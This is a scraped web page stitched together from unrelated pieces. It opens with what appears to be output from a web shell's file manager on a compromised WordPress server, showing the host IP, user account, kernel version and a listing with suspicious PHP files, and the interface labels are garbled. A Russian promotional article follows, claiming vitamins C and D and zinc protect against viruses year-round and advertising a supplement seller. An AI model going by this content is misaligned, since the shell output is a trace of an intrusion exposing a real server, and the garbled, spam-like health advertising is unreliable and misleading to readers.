195.16.88.9 - Linux - whoami(krist287) - uid(1574) gid(1676)
kaylin

·

ϴΪ
ϼĿ¼ʱ޸ʱ
_.well-knownɾ 07552022-08-14 13:56:182022-04-19 08:48:45-
_ldɾ 07552022-08-14 13:54:002022-04-18 21:30:13-
_puɾ 07552022-08-14 13:54:032022-04-19 06:15:13-
doskaɾ 07552022-08-14 13:56:192022-05-13 00:21:36-
gboɾ 07552022-08-14 13:54:032022-04-21 16:29:19-
katalogɾ 07552022-08-14 13:54:032022-05-13 00:20:58-
nailɾ 07552022-08-14 13:54:062022-06-17 13:21:44-
testɾ 07552022-08-14 13:54:032022-04-18 15:34:19-
wakenɾ 07552022-08-11 02:53:342022-08-11 02:53:34-
wp-adminɾ 07552022-08-14 13:54:032022-04-18 17:42:42-
wp-contentɾ 07552022-08-14 15:15:292022-08-14 15:15:29-
wp-includesɾ 07552022-08-14 13:54:062022-04-18 17:42:24-
.htaccess 06442022-08-14 13:54:062022-06-30 09:23:1921.22 K
Damiendep 06442022-08-11 03:43:202022-08-11 03:43:209.20 K
backup.php 06442022-08-13 13:42:572022-08-13 13:42:57772 B
fibber.php 06442022-08-11 01:48:402022-08-11 01:48:4016.68 K
google5f28cd50ed83a936.html 06442022-08-14 13:54:032022-04-24 10:15:3853 B
index.php 06442022-08-14 15:15:302022-04-18 20:09:52405 B
license.txt 06442022-08-14 13:56:192022-04-18 20:09:5219.45 K
readme.html 06442022-08-14 13:54:062022-04-18 20:10:487.26 K
robots.txt 06442022-08-11 03:34:222022-08-11 03:34:22193 B
tmp.php 06442022-08-13 13:44:442022-08-13 13:44:44761 B
wp-activate.php 06442022-08-14 13:56:132022-04-18 20:09:527.00 K
wp-blog-header.php 06442022-08-14 13:55:502022-04-18 20:09:52351 B
wp-comments-post.php 06442022-08-14 13:54:062022-04-18 20:10:362.28 K
wp-config-sample.php 06442022-08-14 13:54:002022-04-18 20:10:482.93 K
wp-config.php 06442022-08-14 13:56:112022-04-18 20:09:523.69 K
wp-cron.php 06442022-08-14 15:14:542022-04-18 20:09:523.85 K
wp-links-opml.php 06442022-08-14 13:56:152022-04-18 20:09:522.44 K
wp-load.php 06442022-08-14 13:56:062022-04-18 20:09:523.81 K
wp-login.php 06442022-08-14 15:06:262022-04-18 20:09:5246.79 K
wp-mail.php 06442022-08-14 15:08:032022-04-18 20:09:528.38 K
wp-settings.php 06442022-08-14 13:54:062022-04-18 20:10:3622.49 K
wp-signup.php 06442022-08-14 15:08:562022-04-18 20:09:5231.21 K
wp-trackback.php 06442022-08-14 15:04:152022-04-18 20:09:524.64 K
wp.php 06442022-08-11 01:49:212022-08-11 01:49:21453 B
xmlrpc.php 06442022-08-14 15:15:132022-04-18 20:09:523.16 K
Ŀ¼[12] - ļ[25] - [0755]
Linux sr47.hostlife.net 3.10.0-962.3.2.lve1.5.49.el6h.x86_64 #1 SMP Thu Mar 4 07:40:03 EST 2021 x86_64
Apache/2
Как витамины влияют на иммунитет – Це Бориспіль
loader image
- Юна Українка подарувала Бориспільським кінологам «крилату конячку» яка виконує бажання. Днями, співробітники Кінологічного центру поліції Борисполя, які разом із ЗСУ та ТРО боронять рубежі Броварів, отримали цінний подарунок. Про це повідомляє прес-служба Кінологічного центру поліції в Київській області. Для наших відважних воїнів юна українка намалювала ліс, мирне небо та крилату конячку. За словами художниці, лоша здатне виконувати бажання. Варто лише доторкнутися до нього та подумати про те, чого хочеться найбільше. Картину юної мисткині передали на місце дислокації оборонців Берегині-волонтерки, які вже тривалий час докладають надлюдських зусиль аби забезпечувати воїнів усім необхідним. За бажанням авторки витвір потрапив саме до поліцейських кінологів. -
Меню Закрити

Как витамины влияют на иммунитет

/ 5. оценок:

Оценок пока нет. Поставьте оценку первым.

Иммунная система, отвечающая за способность организма противостоять болезнетворным бактериями и вирусам, представляет собой защитный механизм, состоящий из органов и клеток. Каждый из этих элементов отвечает за выполнение тех или иных функций и нуждается в питательных веществах. Поэтому так важно поддерживать их баланс в организме. Помочь в этом вопросе может решение купить витамины для сохранения здоровья и комплексы минералов. Но, прежде чем приступить к их выбору, рассмотрим основные способы укрепления иммунитета.

Укрепление иммунной системы с помощью биофакторов

Биофакторы представляют собой необходимые организму человека вещества, такие как витамины, минералы и прочие соединения. Некоторые из них могут синтезироваться телом самостоятельно, в то время как другие могут поступать исключительно вместе с продуктами питания.

Главной задачей биофакторов является нормализация обменных процессов. В случае их недостатка способность организма усваивать питательные вещества существенно снизится. Это приведет к возникновению дефицита витаминов и минералов и, как следствие, ослаблению иммунной системы. Поэтому потребление витаминных и минеральных комплексов в случае отсутствия сбалансированного питания крайне важно для сохранения здоровья.

Как усилить защиту вашего организма

Иммунная система организма позволяет телу противостоять различным болезням и вирусам. Однако ее работа не всегда стабильна. Чаще всего ослабление иммунитета наблюдается в весенний, зимний и осенний период. Это обусловлено тем, что именно в этот период рацион людей изменяется, что приводит к уменьшению объема потребления натуральных источников витаминов и минералов. Исправить сложившуюся ситуацию можно исключительно при помощи биологически активных добавок и комплексов, которые представлены на сайте SAYYES по доступной цене.

По состоянию на сегодняшний день, наиболее эффективными питательными веществами для укрепления иммунной системы считаются:
● мелатонин;
● витамины C и D;
● цинк;
● агний.

Однако их чрезмерное употребление может негативно отразиться на состоянии иммунитета. Переизбыток данных веществ часто приводит к нарушению иммунного отклика и развитию аутоиммунных заболеваний. Поэтому перед включением их в рацион важно проконсультироваться с лечащим врачом.

Влияние цинка, витамина C и витамина D на иммунную систему

Такие питательные вещества как цинк, витамины C и D3 представляют собой основные элементы, необходимые для нормализации функций иммунной системы. Рассмотрим значение и нормы потребления каждого из них детально.

Витамин C считается одним из самых важных веществ. Он используется телом для производства лейкоцитов, ответственных за уничтожение вирусов и болезнетворных бактерий. Кроме того, он препятствует разрушению клеток в результате воздействия свободных радикалов. Чтобы удовлетворить потребность человека в данном микроэлементе, необходимо от 95 до 110 мг этого вещества. В случае острого дефицита врачи могут назначать более высокие дозы.

Цинк – это вещество, принимающее участие в формировании гормонов и работе всех систем организма, в том числе и иммунной. Снижение его объемов может приводить к возникновению дефицита. Чтобы исключить подобный исход, следует принимать от 7 до 10 мг минерала в сутки в виде натуральных продуктов или биологически активных добавок.

Витамин D принимает участие в управлении иммунитетом. Его недостаток может стать причиной неправильной реакции иммунной системы, что приведет к атаке здоровых клеток и развитию аутоиммунных заболеваний. Чтобы обеспечить его в достаточном количестве, следует ежедневно пребывать на солнце или включать в свой рацион продукты, искусственно обогащенные витамином D3, являющимся биологически активной формой «солнечного витамина».

Использование этих трех питательных веществ обеспечит вам крепкое здоровье и защиту от вирусов в любое время года. При этом не важно, будете вы получать их из натуральных источников или же из биологически активных добавок.

Переглядів:: 1
Share on facebook
Share on telegram
Share on twitter
guest
0 коментарiв
Межтекстовые Отзывы
Посмотреть все комментарии
Авторизація
*
*
Реєстрація
*
*
*
Пароль не введено
*
Генерація паролю
0
Оставьте комментарий! Напишите, что думаете по поводу статьи.x
()
x